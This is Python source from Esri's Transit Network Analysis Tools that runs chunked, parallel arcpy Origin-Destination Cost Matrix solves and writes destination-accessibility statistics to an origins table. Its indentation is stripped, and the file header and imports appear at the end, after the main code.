Expected arguments:
- origins
- destinations
- destination_where_clause
- network_data_source
- travel_mode
- time_units
- cutoff
- output_folder
- barriers
"""
self.origins = kwargs["origins"]
self.destinations = kwargs["destinations"]
self.destination_where_clause = kwargs["destination_where_clause"]
self.network_data_source = kwargs["network_data_source"]
self.travel_mode = kwargs["travel_mode"]
self.time_units = kwargs["time_units"]
self.cutoff = kwargs["cutoff"]
self.output_folder = kwargs["output_folder"]
self.barriers = []
if "barriers" in kwargs:
self.barriers = kwargs["barriers"]
# Create a job ID and a folder and scratch gdb for this job
self.job_id = uuid.uuid4().hex
self.job_folder = os.path.join(self.output_folder, self.job_id)
os.mkdir(self.job_folder)
self.od_workspace = os.path.join(self.job_folder, "scratch.gdb")
# Setup the class logger. Logs for each parallel process are not written to the console but instead to a
# process-specific log file.
self.log_file = os.path.join(self.job_folder, 'ODCostMatrix.log')
cls_logger = logging.getLogger("ODCostMatrix_" + self.job_id)
self.setup_logger(cls_logger)
self.logger = cls_logger
# Set up other instance attributes
self.is_service = AnalysisHelpers.is_nds_service(self.network_data_source)
self.od_solver = None
self.input_origins_layer = "InputOrigins" + self.job_id
self.input_destinations_layer = "InputDestinations" + self.job_id
self.input_origins_layer_obj = None
self.input_destinations_layer_obj = None
# Create a network dataset layer
self.nds_layer_name = "NetworkDatasetLayer"
if not self.is_service:
self._make_nds_layer()
self.network_data_source = self.nds_layer_name
# Prepare a dictionary to store info about the analysis results
self.job_result = {
"jobId": self.job_id,
"jobFolder": self.job_folder,
"solveSucceeded": False,
"solveMessages": "",
"logFile": self.log_file
}
# Get the ObjectID fields for origins and destinations
desc_origins = arcpy.Describe(self.origins)
desc_destinations = arcpy.Describe(self.destinations)
self.origins_oid_field_name = desc_origins.oidFieldName
self.destinations_oid_field_name = desc_destinations.oidFieldName
def _make_nds_layer(self):
"""Create a network dataset layer if one does not already exist."""
if self.is_service:
return
if arcpy.Exists(self.nds_layer_name):
self.logger.debug(f"Using existing network dataset layer: {self.nds_layer_name}")
else:
self.logger.debug("Creating network dataset layer...")
run_gp_tool(
arcpy.na.MakeNetworkDatasetLayer,
[self.network_data_source, self.nds_layer_name],
log_to_use=self.logger
)
def initialize_od_solver(self, time_of_day=None):
"""Initialize an OD solver object and set properties."""
# For a local network dataset, we need to checkout the Network Analyst extension license.
if not self.is_service:
arcpy.CheckOutExtension("network")
# Create a new OD cost matrix object
self.logger.debug("Creating OD Cost Matrix object...")
self.od_solver = arcpy.nax.OriginDestinationCostMatrix(self.network_data_source)
# Set the OD cost matrix analysis properties.
# Read properties from the CalculateAccessbilityMatrix_OD_config.py config file for all properties not set in
# the UI as parameters.
# OD properties documentation: https://pro.arcgis.com/en/pro-app/arcpy/network-analyst/odcostmatrix.htm
# The properties have been extracted to the config file to make them easier to find and set so users don't have
# to dig through the code to change them.
self.logger.debug("Setting OD Cost Matrix analysis properties from OD config file...")
for prop in OD_PROPS:
if prop in OD_PROPS_SET_BY_TOOL:
self.logger.warning(
f"OD config file property {prop} is handled explicitly by the tool parameters and will be ignored."
)
continue
try:
setattr(self.od_solver, prop, OD_PROPS[prop])
except Exception as ex: # pylint: disable=broad-except
self.logger.warning(f"Failed to set property {prop} from OD config file. Default will be used instead.")
self.logger.warning(str(ex))
# Set properties explicitly specified in the tool UI as arguments
self.logger.debug("Setting OD Cost Matrix analysis properties specified tool inputs...")
self.od_solver.travelMode = self.travel_mode
self.od_solver.timeUnits = self.time_units
self.od_solver.defaultImpedanceCutoff = self.cutoff
# Set time of day, which is passed in as an OD solve parameter from our chunking mechanism
self.od_solver.timeOfDay = time_of_day
# Ensure the travel mode has impedance units that are time-based.
self._validate_travel_mode()
def _validate_travel_mode(self):
"""Validate that the travel mode has time units.
Raises:
ValueError: If the travel mode's impedance units are not time based.
"""
# Get the travel mode object from the already-instantiated OD solver object. This saves us from having to parse
# the user's input travel mode from its string name, object, or json representation.
travel_mode = self.od_solver.travelMode
impedance = travel_mode.impedance
time_attribute = travel_mode.timeAttributeName
if impedance != time_attribute:
err = f"The impedance units of the selected travel mode {travel_mode.name} are not time based."
self.logger.error(err)
raise ValueError(err)
def solve(self, origins_criteria, destinations_criteria, time_of_day):
"""Create and solve an OD Cost Matrix analysis for the designated chunk of origins and destinations.
Args:
origins_criteria (list): Origin ObjectID range to select from the input dataset
destinations_criteria ([type]): Destination ObjectID range to select from the input dataset
time_of_day (datetime): Time of day for this solve
"""
# Select the origins and destinations to process
self._select_inputs(origins_criteria, destinations_criteria)
# Initialize the OD solver object
self.initialize_od_solver(time_of_day)
# Load the origins
self.logger.debug("Loading origins...")
origins_field_mappings = self.od_solver.fieldMappings(
arcpy.nax.OriginDestinationCostMatrixInputDataType.Origins,
True # Use network location fields
)
self.od_solver.load(
arcpy.nax.OriginDestinationCostMatrixInputDataType.Origins,
self.input_origins_layer_obj,
origins_field_mappings,
False
)
# Load the destinations
self.logger.debug("Loading destinations...")
destinations_field_mappings = self.od_solver.fieldMappings(
arcpy.nax.OriginDestinationCostMatrixInputDataType.Destinations,
True # Use network location fields
)
self.od_solver.load(
arcpy.nax.OriginDestinationCostMatrixInputDataType.Destinations,
self.input_destinations_layer_obj,
destinations_field_mappings,
False
)
# Load barriers
# Note: This loads ALL barrier features for every analysis, even if they are very far away from any of
# the inputs in the current chunk. You may want to select only barriers within a reasonable distance of the
# inputs, particularly if you run into the maximumFeaturesAffectedByLineBarriers,
# maximumFeaturesAffectedByPointBarriers, and maximumFeaturesAffectedByPolygonBarriers tool limits for portal
# solves. However, since barriers and portal solves with limits are unusual for this tool, deal with this only
# if it becomes a problem.
for barrier_fc in self.barriers:
self.logger.debug(f"Loading barriers feature class {barrier_fc}...")
shape_type = arcpy.Describe(barrier_fc).shapeType
if shape_type == "Polygon":
class_type = arcpy.nax.OriginDestinationCostMatrixInputDataType.PolygonBarriers
elif shape_type == "Polyline":
class_type = arcpy.nax.OriginDestinationCostMatrixInputDataType.LineBarriers
elif shape_type == "Point":
class_type = arcpy.nax.OriginDestinationCostMatrixInputDataType.PointBarriers
else:
self.logger.warning(
f"Barrier feature class {barrier_fc} has an invalid shape type and will be ignored."
)
continue
barriers_field_mappings = self.od_solver.fieldMappings(class_type, True)
self.od_solver.load(class_type, barrier_fc, barriers_field_mappings, True)
# Solve the OD cost matrix analysis
self.logger.debug("Solving OD cost matrix...")
solve_start = time.time()
solve_result = self.od_solver.solve()
solve_end = time.time()
self.logger.debug(f"Solving OD cost matrix completed in {round(solve_end - solve_start, 3)} (seconds).")
# Handle solve messages
solve_msgs = [msg[-1] for msg in solve_result.solverMessages(arcpy.nax.MessageSeverity.All)]
initial_num_msgs = len(solve_msgs)
for msg in solve_msgs:
self.logger.debug(msg)
# Remove repetitive messages so they don't clog up the stdout pipeline when running the tool
# 'No "Destinations" found for "Location 1" in "Origins".' is a common message that tends to be repeated and is
# not particularly useful to see in bulk.
# Note that this will not work for localized software when this message is translated.
common_msg_prefix = 'No "Destinations" found for '
solve_msgs = [msg for msg in solve_msgs if not msg.startswith(common_msg_prefix)]
num_msgs_removed = initial_num_msgs - len(solve_msgs)
if num_msgs_removed:
self.logger.debug(f"Repetitive messages starting with {common_msg_prefix} were consolidated.")
solve_msgs.append(f"No destinations were found for {num_msgs_removed} origins.")
solve_msgs = "\n".join(solve_msgs)
# Update the result dictionary
self.job_result["solveMessages"] = solve_msgs
if not solve_result.solveSucceeded:
self.logger.debug("Solve failed.")
return
self.logger.debug("Solve succeeded.")
self.job_result["solveSucceeded"] = True
# Read the results to discover all destinations reached by the origins in this chunk and store the output
# in a file
self.logger.debug("Logging OD Cost Matrix results...")
if use_arrow:
self.logger.debug("Writing OD outputs as Arrow table.")
solve_result.toArrowTable(
arcpy.nax.OriginDestinationCostMatrixOutputDataType.Lines,
["OriginOID", "DestinationOID"],
os.path.join(self.job_folder, "ODLines.at")
)
else:
self.logger.debug("Writing OD outputs as CSV file.")
with open(os.path.join(self.job_folder, "ODLines.csv"), "w") as f:
writer = csv.writer(f)
writer.writerow(["OriginOID", "DestinationOID"])
for row in solve_result.searchCursor(
arcpy.nax.OriginDestinationCostMatrixOutputDataType.Lines, ["OriginOID", "DestinationOID"]
):
writer.writerow(row)
self.logger.debug("Finished calculating OD cost matrix.")
def _select_inputs(self, origins_criteria, destinations_criteria):
"""Create layers from the origins and destinations so the layers contain only the desired inputs for the chunk.
Args:
origins_criteria (list): Origin ObjectID range to select from the input dataset
destinations_criteria ([type]): Destination ObjectID range to select from the input dataset
"""
# Select the origins with ObjectIDs in this range
self.logger.debug("Selecting origins for this chunk...")
origins_where_clause = (
f"{self.origins_oid_field_name} >= {origins_criteria[0]} "
f"AND {self.origins_oid_field_name} <= {origins_criteria[1]}"
)
self.input_origins_layer_obj = run_gp_tool(
arcpy.management.MakeFeatureLayer,
[self.origins, self.input_origins_layer, origins_where_clause],
log_to_use=self.logger
).getOutput(0)
# Select the destinations with ObjectIDs in this range subject to the global destination where clause
self.logger.debug("Selecting destinations for this chunk...")
destinations_where_clause = (
f"{self.destinations_oid_field_name} >= {destinations_criteria[0]} "
f"AND {self.destinations_oid_field_name} <= {destinations_criteria[1]}"
)
if self.destination_where_clause:
destinations_where_clause += f" AND {self.destination_where_clause}"
self.input_destinations_layer_obj = run_gp_tool(
arcpy.management.MakeFeatureLayer,
[self.destinations, self.input_destinations_layer, destinations_where_clause],
log_to_use=self.logger
).getOutput(0)
def setup_logger(self, logger_obj):
"""Set up the logger used for logging messages for this process. Logs are written to a text file.
Args:
logger_obj: The logger instance.
"""
logger_obj.setLevel(logging.DEBUG)
if len(logger_obj.handlers) <= 1:
file_handler = logging.FileHandler(self.log_file)
file_handler.setLevel(logging.DEBUG)
logger_obj.addHandler(file_handler)
formatter = logging.Formatter("%(process)d | %(message)s")
file_handler.setFormatter(formatter)
logger_obj.addHandler(file_handler)
def solve_od_cost_matrix(inputs, chunk):
"""Solve an OD Cost Matrix analysis for the given inputs for the given chunk of ObjectIDs.
Args:
inputs (dict): Dictionary of keyword inputs suitable for initializing the ODCostMatrix class
chunk (list): Represents the ObjectID ranges to select from the origins and destinations when solving the OD
Cost Matrix and the analysis start time of day. For example,
[[1, 1000], [4001, 5000], datetime.datetime(2021, 6, 6, 8, 0, 0)] means use origin OIDs 1-1000 and
destination OIDs 4001-5000 and a start time of 8:00 AM on June 6, 2021.
Returns:
dict: Dictionary of results from the ODCostMatrix class
"""
odcm = ODCostMatrix(**inputs)
odcm.logger.info((
f"Processing origins OID {chunk[0][0]} to {chunk[0][1]} and destinations OID {chunk[1][0]} to {chunk[1][1]} "
f"for start time {chunk[2]} as job id {odcm.job_id}"
))
odcm.solve(chunk[0], chunk[1], chunk[2])
return odcm.job_result
class ParallelODCalculator():
"""Solves a large OD Cost Matrix by chunking the problem, solving in parallel, and combining results."""
def __init__( # pylint: disable=too-many-locals, too-many-arguments
self, origins, destinations, network_data_source, travel_mode, max_origins, max_destinations,
time_window_start_day, time_window_start_time, time_window_end_day, time_window_end_time, time_increment,
max_processes, time_units, cutoff, weight_field=None, barriers=None
):
"""Compute OD Cost Matrices between Origins and Destinations in parallel for all increments in the time window,
calculate accessibility statistics, and write the output fields to the output Origins feature class.
This class assumes that the inputs have already been pre-processed and validated.
Args:
origins (str): Catalog path to origins
destinations (str): Catalog path to destinations
network_data_source (str): Network data source catalog path or URL
travel_mode (str): String-based representation of a travel mode (name or JSON)
max_origins (int): Maximum origins allowed in a chunk
max_destinations (int): Maximum destinations allowed in a chunk
time_window_start_day (str): English weekday name or YYYYMMDD date representing the weekday or start date of
the time window
time_window_start_time (str): HHMM time of day for the start of the time window
time_window_end_day (str): English weekday name or YYYYMMDD date representing the weekday or end date of
the time window
time_window_end_time (str): HHMM time of day for the end of the time window
time_increment (int): Number of minutes between each run of the OD Cost Matrix in the time window
max_processes (int): Maximum number of parallel processes allowed
time_units (str): String representation of time units
cutoff (float): Time cutoff to limit the OD Cost Matrix solve. Interpreted in the time_units.
weight_field (str, optional): Field in the destinations to use as a weight for the number of destinations
at each location. For example, the number of jobs at that location. When not provided, all destinations
count as 1.
barriers (list(str), optional): List of catalog paths to point, line, and polygon barriers to use.
Defaults to None.
"""
self.origins = origins
self.destinations = destinations
time_units = AnalysisHelpers.convert_time_units_str_to_enum(time_units)
if cutoff == "":
cutoff = None
if not barriers:
barriers = []
self.max_processes = max_processes
self.weight_field = weight_field
# Validate time window inputs and convert them into a list of times of day to run the analysis
try:
self.start_times = AnalysisHelpers.make_analysis_time_of_day_list(
time_window_start_day, time_window_end_day, time_window_start_time, time_window_end_time,
time_increment
)
except Exception as ex:
err = "Error parsing input time window."
LOGGER.error(err)
LOGGER.error(str(ex))
raise ValueError from ex
# Scratch folder to store intermediate outputs from the OD Cost Matrix processes
unique_id = uuid.uuid4().hex
self.scratch_folder = os.path.join(
arcpy.env.scratchFolder, "CalcAccMtx_" + unique_id) # pylint: disable=no-member
LOGGER.info(f"Intermediate outputs will be written to {self.scratch_folder}.")
os.mkdir(self.scratch_folder)
# Set up a where clause to eliminate destinations that will never contribute any values to the final solution.
# Only applies if we're using a weight field.
if self.weight_field:
self.dest_where = f"{self.weight_field} IS NOT NULL and {self.weight_field} <> 0"
else:
self.dest_where = ""
# Initialize the dictionary of inputs to send to each OD solve
self.od_inputs = {
"origins": self.origins,
"destinations": self.destinations,
"destination_where_clause": self.dest_where,
"network_data_source": network_data_source,
"travel_mode": travel_mode,
"output_folder": self.scratch_folder,
"time_units": time_units,
"cutoff": cutoff,
"barriers": barriers
}
# Construct OID ranges for chunks of origins and destinations
origin_ranges = self._get_oid_ranges_for_input(self.origins, max_origins)
destination_ranges = self._get_oid_ranges_for_input(self.destinations, max_destinations, self.dest_where)
# Construct chunks consisting of (range of origin oids, range of destination oids, start time)
self.chunks = itertools.product(origin_ranges, destination_ranges, self.start_times)
# Calculate the total number of jobs to use in logging
self.total_jobs = len(origin_ranges) * len(destination_ranges) * len(self.start_times)
def _validate_od_settings(self):
"""Validate OD cost matrix settings before spinning up a bunch of parallel processes doomed to failure."""
# Create a dummy ODCostMatrix object, initialize an OD solver object, and set properties. This allows us to
# detect any errors prior to spinning up a bunch of parallel processes and having them all fail.
LOGGER.debug("Validating OD Cost Matrix settings...")
odcm = None
try:
odcm = ODCostMatrix(**self.od_inputs)
odcm.initialize_od_solver()
LOGGER.debug("OD Cost Matrix settings successfully validated.")
except Exception:
LOGGER.error("Error initializing OD Cost Matrix analysis.")
errs = traceback.format_exc().splitlines()
for err in errs:
LOGGER.error(err)
raise
finally:
if odcm:
LOGGER.debug("Deleting temporary test OD Cost Matrix job folder...")
shutil.rmtree(odcm.job_result["jobFolder"], ignore_errors=True)
del odcm
@staticmethod
def _get_oid_ranges_for_input(input_fc, max_chunk_size, where=""):
"""Construct ranges of ObjectIDs for use in where clauses to split large data into chunks.
Args:
input_fc (str, layer): Data that needs to be split into chunks
max_chunk_size (int): Maximum number of rows that can be in a chunk
where (str, optional): Where clause to use to filter data before chunking. Defaults to "".
Returns:
list: list of ObjectID ranges for the current dataset representing each chunk. For example,
[[1, 1000], [1001, 2000], [2001, 2478]] represents three chunks of no more than 1000 rows.
"""
ranges = []
num_in_range = 0
current_range = [0, 0]
# Loop through all OIDs of the input and construct tuples of min and max OID for each chunk
# We do it this way and not by straight-up looking at the numerical values of OIDs to account
# for definition queries, selection sets, or feature layers with gaps in OIDs
for row in arcpy.da.SearchCursor(input_fc, "OID@", where): # pylint: disable=no-member
oid = row[0]
if num_in_range == 0:
# Starting new range
current_range[0] = oid
# Increase the count of items in this range and set the top end of the range to the current oid
num_in_range += 1
current_range[1] = oid
if num_in_range == max_chunk_size:
# Finishing up a chunk
ranges.append(current_range)
# Reset range trackers
num_in_range = 0
current_range = [0, 0]
# After looping, close out the last range if we still have one open
if current_range != [0, 0]:
ranges.append(current_range)
return ranges
def solve_od_in_parallel(self):
"""Solve the OD Cost Matrix in chunks and post-process the results."""
# Validate OD Cost Matrix settings. Essentially, create a dummy ODCostMatrix class instance and set up the
# solver object to ensure this at least works. Do this up front before spinning up a bunch of parallel
# processes that are guaranteed to all fail.
self._validate_od_settings()
# Compute OD cost matrix in parallel
LOGGER.info("Solving OD Cost Matrix chunks in parallel...")
completed_jobs = 0 # Track the number of jobs completed so far to use in logging
# Use the concurrent.futures ProcessPoolExecutor to spin up parallel processes that solve the OD cost
# matrices
with futures.ProcessPoolExecutor(max_workers=self.max_processes) as executor:
# Each parallel process calls the solve_od_cost_matrix() function with the od_inputs dictionary for the
# given origin and destination OID ranges and time of day.
jobs = {executor.submit(
solve_od_cost_matrix, self.od_inputs, chunks): chunks for chunks in self.chunks}
# As each job is completed, add some logging information and store the results to post-process later
for future in futures.as_completed(jobs):
completed_jobs += 1
LOGGER.info(
f"Finished OD Cost Matrix calculation {completed_jobs} of {self.total_jobs}.")
try:
# The OD cost matrix job returns a results dictionary. Retrieve it.
result = future.result()
except Exception:
# If we couldn't retrieve the result, some terrible error happened. Log it.
LOGGER.error("Failed to get OD Cost Matrix result from parallel processing.")
errs = traceback.format_exc().splitlines()
for err in errs:
LOGGER.error(err)
raise
# Log failed solves
if not result["solveSucceeded"]:
LOGGER.warning(f"Solve failed for job id {result["jobId"]}")
msgs = result["solveMessages"]
LOGGER.warning(msgs)
# Calculate statistics from the results of the OD Cost Matrix calculations
# and write them to the output fields in the Origins table.
self._add_results_to_output()
# Cleanup
# Delete the job folders if the job succeeded
if DELETE_INTERMEDIATE_OD_OUTPUTS:
LOGGER.info("Deleting intermediate outputs...")
try:
shutil.rmtree(self.scratch_folder, ignore_errors=True)
except Exception: # pylint: disable=broad-except
# If deletion doesn't work, just throw a warning and move on. This does not need to kill the tool.
LOGGER.warning(f"Unable to delete intermediate OD Cost Matrix output folder {self.scratch_folder}.")
LOGGER.info("Finished calculating OD Cost Matrices.")
def _add_results_to_output(self):
"""Calculate accessibility statistics and write them to the Origins table."""
LOGGER.info("Calculating statistics for final output...")
# Read the result files from each individual OD and combine them together into a
# dataframe with the number of time each origin reached each destination
if use_arrow:
LOGGER.debug("Reading results into dataframe from Arrow tables...")
else:
LOGGER.debug("Reading results into dataframe from CSV files...")
t0 = time.time()
result_df = None
for job_dir in os.listdir(self.scratch_folder):
job_dir = os.path.join(self.scratch_folder, job_dir)
if use_arrow:
arrow_file = os.path.join(job_dir, "ODLines.at")
if not os.path.exists(arrow_file):
continue
with pa.memory_map(arrow_file, 'r') as source:
batch_reader = pa.ipc.RecordBatchFileReader(source)
chunk_table = batch_reader.read_all()
df = chunk_table.to_pandas(split_blocks=True, zero_copy_only=True)
else:
csv_file = os.path.join(job_dir, "ODLines.csv")
if not os.path.exists(csv_file):
continue
df = pd.read_csv(csv_file)
df["TimesReached"] = 1
df.set_index(["OriginOID", "DestinationOID"], inplace=True)
if result_df is None:
# Initialize the big combined dataframe if this is the first one
result_df = df
continue
# Add the current results dataframe to the big combined one and sum the number of times reached so
# far for each OD pair
result_df = pd.concat([result_df, df]).groupby(["OriginOID", "DestinationOID"]).sum()
del df
result_df.reset_index(inplace=True)
LOGGER.debug(f"Time to read all OD result files: {time.time() - t0}")
# Handle accounting for the actual number of destinations
if self.weight_field:
# Read in the weight field values and join them into the result table
LOGGER.debug("Joining weight field from destinations to results dataframe...")
with arcpy.da.SearchCursor( # pylint: disable=no-member
self.destinations, ["OID@", self.weight_field]) as cur:
w_df = pd.DataFrame(cur, columns=["DestinationOID", "Weight"])
# Calculate the total number of destinations based on weight and store this for later use
total_dests = w_df["Weight"].sum()
# Join the Weight field into the results dataframe
w_df.set_index("DestinationOID", inplace=True)
result_df = result_df.join(w_df, "DestinationOID")
del w_df
# We don't need this field anymore
result_df.drop(["DestinationOID"], axis="columns", inplace=True)
else:
# Count every row as 1 since we're not using a weight field
result_df["Weight"] = 1
# Set the total number of destinations to the number of rows in the destinations table.
total_dests = int(arcpy.management.GetCount(self.destinations).getOutput(0))
# Create the output dataframe indexed by the OriginOID
LOGGER.debug("Creating output dataframe indexed by OriginOID...")
unique = result_df["OriginOID"].unique()
output_df = pd.DataFrame(unique, columns=["OriginOID"])
del unique
output_df.set_index("OriginOID", inplace=True)
# Calculate the total destinations found for each origin using the weight field
LOGGER.debug("Calculating TotalDests and PercDests...")
output_df["TotalDests"] = result_df[result_df["TimesReached"] > 0].groupby("OriginOID")["Weight"].sum()
# Calculate the percentage of destinations reached
output_df["PercDests"] = 100.0 * output_df["TotalDests"] / total_dests
# Determine the TotalDests field type because this affects the output field type to use
if pd.api.types.is_integer_dtype(output_df["TotalDests"]):
num_dest_field_type = "LONG"
else:
num_dest_field_type = "DOUBLE"
# Calculate the number of destinations accessible at different thresholds
LOGGER.debug("Calculating the number of destinations accessible at different thresholds...")
field_defs = [["TotalDests", num_dest_field_type], ["PercDests", "DOUBLE"]]
for perc in range(10, 100, 10):
total_field = f"DsAL{perc}Perc"
perc_field = f"PsAL{perc}Perc"
field_defs += [[total_field, num_dest_field_type], [perc_field, "DOUBLE"]]
threshold = len(self.start_times) * perc / 100
output_df[total_field] = result_df[result_df["TimesReached"] >= threshold].groupby(
"OriginOID")["Weight"].sum()
output_df[perc_field] = 100.0 * output_df[total_field] / total_dests
# Fill empty cells with 0
output_df.fillna(0, inplace=True)
# Clean up
del result_df
# Append the calculated transit frequency statistics to the output feature class
LOGGER.debug("Writing data to output Origins...")
arcpy.management.AddFields(self.origins, field_defs)
fields = ["ObjectID"] + [f[0] for f in field_defs]
with arcpy.da.UpdateCursor(self.origins, fields) as cur: # pylint: disable=no-member
for row in cur:
oid = row[0]
try:
new_row = [oid] + output_df.loc[oid].to_list()
except KeyError:
# Fill null values with 0 where appropriate if the feature wasn't even in the dataframe.
new_row = [oid] + [0] * len(field_defs)
cur.updateRow(new_row)
LOGGER.info(f"Accessibility statistics fields were added to Origins table {self.origins}.")
def launch_parallel_od():
"""Read arguments passed in via subprocess and run the parallel OD Cost Matrix.
This script is intended to be called via subprocess via the CalculateAccessibilityMatrixInParallel.py module, which
does essential preprocessing and validation. Users should not call this script directly from the command line.
We must launch this script via subprocess in order to support parallel processing from an ArcGIS Pro script tool,
which cannot do parallel processing directly.
"""
# Create the parser
parser = argparse.ArgumentParser(description=globals().get("__doc__", ""), fromfile_prefix_chars='@')
# Define Arguments supported by the command line utility
# --origins parameter
help_string = "The full catalog path to the feature class containing the origins. Output fields will be added."
parser.add_argument("-o", "--origins", action="store", dest="origins", help=help_string, required=True)
# --destinations parameter
help_string = "The full catalog path to the feature class containing the destinations."
parser.add_argument("-d", "--destinations", action="store", dest="destinations", help=help_string, required=True)
# --network-data-source parameter
help_string = "The full catalog path to the network dataset or a portal url that will be used for the analysis."
parser.add_argument(
"-n", "--network-data-source", action="store", dest="network_data_source", help=help_string, required=True)
# --travel-mode parameter
help_string = (
"The name or JSON string representation of the travel mode from the network data source that will be used for "
"the analysis."
)
parser.add_argument("-tm", "--travel-mode", action="store", dest="travel_mode", help=help_string, required=True)
# --time-units parameter
help_string = "String name of the time units for the analysis. These units will be used in the output."
parser.add_argument("-tu", "--time-units", action="store", dest="time_units", help=help_string, required=True)
# --max-origins parameter
help_string = (
"Maximum number of origins that can be in one chunk for parallel processing of OD Cost Matrix solves. "
"For example, 1000 means that a chunk consists of no more than 1000 origins and max-destination destinations."
)
parser.add_argument(
"-mo", "--max-origins", action="store", dest="max_origins", type=int, help=help_string, required=True)
# --max-destinations parameter
help_string = (
"Maximum number of destinations that can be in one chunk for parallel processing of OD Cost Matrix solves. "
"For example, 1000 means that a chunk consists of no more than max-origin origins and 1000 destinations."
)
parser.add_argument(
"-md", "--max-destinations", action="store", dest="max_destinations", type=int, help=help_string, required=True)
# --max-processes parameter
help_string = "Maximum number parallel processes to use for the OD Cost Matrix solves."
parser.add_argument(
"-mp", "--max-processes", action="store", dest="max_processes", type=int, help=help_string, required=True)
# --time-window-start-day parameter
help_string = "Time window start day of week or YYYYMMDD date."
parser.add_argument("-twsd", "--time-window-start-day", action="store", dest="time_window_start_day",
help=help_string, required=True)
# --time-window-start-time parameter
help_string = "Time window start time as hh:mm."
parser.add_argument("-twst", "--time-window-start-time", action="store", dest="time_window_start_time",
help=help_string, required=True)
# --time-window-end-day parameter
help_string = "Time window end day of week or YYYYMMDD date."
parser.add_argument("-twed", "--time-window-end-day", action="store", dest="time_window_end_day",
help=help_string, required=True)
# --time-window-end-time parameter
help_string = "Time window end time as hh:mm."
parser.add_argument("-twet", "--time-window-end-time", action="store", dest="time_window_end_time",
help=help_string, required=True)
# --time-increment
help_string = "Time increment in minutes"
parser.add_argument("-ti", "--time-increment", action="store", dest="time_increment", type=int,
help=help_string, required=True)
# --cutoff parameter
help_string = (
"Impedance cutoff to limit the OD cost matrix search distance. Should be specified in the same units as the "
"time-units parameter"
)
parser.add_argument(
"-co", "--cutoff", action="store", dest="cutoff", type=float, help=help_string, required=True)
# --weight-field parameter
help_string = "The name of the field in the input destinations that indicates the destination's weight."
parser.add_argument(
"-wf", "--weight-field", action="store", dest="weight_field", help=help_string, required=False)
# --barriers parameter
help_string = "A list of catalog paths to the feature classes containing barriers to use in the OD Cost Matrix."
parser.add_argument(
"-b", "--barriers", action="store", dest="barriers", help=help_string, nargs='*', required=False)
# Get arguments as dictionary.
args = vars(parser.parse_args())
# Initialize a parallel OD Cost Matrix calculator class
od_calculator = ParallelODCalculator(**args)
# Solve the OD Cost Matrix in parallel chunks
start_time = time.time()
od_calculator.solve_od_in_parallel()
LOGGER.info(f"Parallel OD Cost Matrix calculation completed in {round((time.time() - start_time) / 60, 2)} minutes")
if __name__ == "__main__":
# This script should always be launched via subprocess as if it were being called from the command line.
launch_parallel_od()
| ############################################################################
## Tool name: Transit Network Analysis Tools
## Created by: Melinda Morang, Esri
## Last updated: 13 September 2021
############################################################################
"""Count the number of destinations reachable from each origin by transit and
walking. The tool calculates an Origin-Destination Cost Matrix for each start
time within a time window because the reachable destinations change depending
on the time of day because of the transit schedules. The output gives the
total number of destinations reachable at least once as well as the number of
destinations reachable at least 10%, 20%, ...90% of start times during the time
window. The number of reachable destinations can be weighted based on a field,
such as the number of jobs available at each destination. The tool also
calculates the percentage of total destinations reachable.
This script should be launched by the CalculateAccessibilityMatrixInParallel.py
script as a subprocess. It computes the OD Cost Matrix in parallel for all time
increments, chunking the origins and destinations if necessary, and calculates
the desired statistics on the outputs.
This version of the tool is for ArcGIS Pro only and solves the OD Cost Matrices in
parallel. It was built based off Esri's Solve Large OD Cost Matrix sample script
available from https://github.com/Esri/large-network-analysis-tools under an Apache
2.0 license.
Copyright 2021 Esri
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
# pylint: disable=logging-fstring-interpolation
from concurrent import futures
import os
import sys
import uuid
import logging
import shutil
import itertools
import time
import traceback
import argparse
import pandas as pd
import arcpy
# The OD Cost Matrix toArrowTable() method was added in ArcGIS Pro 2.9. Writing intermediate OD outputs to Arrow
# tables is more space and memory efficient than writing CSV files, so prefer this method when possible. If the
# ArcGIS Pro version is < 2.9, though, fall back to using CSV files.
if arcpy.GetInstallInfo()["Version"] < "2.9":
use_arrow = False
import csv
else:
use_arrow = True
import pyarrow as pa
# Import OD Cost Matrix settings from config file
from CalculateAccessibilityMatrix_OD_config import OD_PROPS, OD_PROPS_SET_BY_TOOL
import AnalysisHelpers
arcpy.env.overwriteOutput = True
# Set logging for the main process.
# LOGGER logs everything from the main process to stdout using a specific format that the SolveLargeODCostMatrix tool
# can parse and write to the geoprocessing message feed.
LOG_LEVEL = logging.INFO # Set to logging.DEBUG to see verbose debug messages
LOGGER = logging.getLogger(__name__) # pylint:disable=invalid-name
LOGGER.setLevel(LOG_LEVEL)
console_handler = logging.StreamHandler(stream=sys.stdout)
console_handler.setLevel(LOG_LEVEL)
# Used by script tool to split message text from message level to add correct message type to GP window
console_handler.setFormatter(logging.Formatter("%(levelname)s" + AnalysisHelpers.MSG_STR_SPLITTER + "%(message)s"))
LOGGER.addHandler(console_handler)
DELETE_INTERMEDIATE_OD_OUTPUTS = True # Set to False for debugging purposes
def run_gp_tool(tool, tool_args=None, tool_kwargs=None, log_to_use=LOGGER):
"""Run a geoprocessing tool with nice logging.
The purpose of this function is simply to wrap the call to a geoprocessing tool in a way that we can log errors,
warnings, and info messages as well as tool run time into our logging. This helps pipe the messages back to our
script tool dialog.
Args:
tool (arcpy geoprocessing tool class): GP tool class command, like arcpy.management.CreateFileGDB
tool_args (list, optional): Ordered list of values to use as tool arguments. Defaults to None.
tool_kwargs (dictionary, optional): Dictionary of tool parameter names and values that can be used as named
arguments in the tool command. Defaults to None.
log_to_use (logging.logger, optional): logger class to use for messages. Defaults to LOGGER. When calling this
from the ODCostMatrix class, use self.logger instead so the messages go to the processes's log file instead
of stdout.
Returns:
GP result object: GP result object returned from the tool run.
Raises:
arcpy.ExecuteError if the tool fails
"""
# Try to retrieve and log the name of the tool
tool_name = repr(tool)
try:
tool_name = tool.__esri_toolname__
except Exception: # pylint: disable=broad-except
try:
tool_name = tool.__name__
except Exception: # pylint: disable=broad-except
# Probably the tool didn't have an __esri_toolname__ property or __name__. Just don't worry about it.
pass
log_to_use.debug(f"Running geoprocessing tool {tool_name}...")
# Try running the tool, and log all messages
try:
if tool_args is None:
tool_args = []
if tool_kwargs is None:
tool_kwargs = {}
result = tool(*tool_args, **tool_kwargs)
info_msgs = [msg for msg in result.getMessages(0).splitlines() if msg]
warning_msgs = [msg for msg in result.getMessages(1).splitlines() if msg]
for msg in info_msgs:
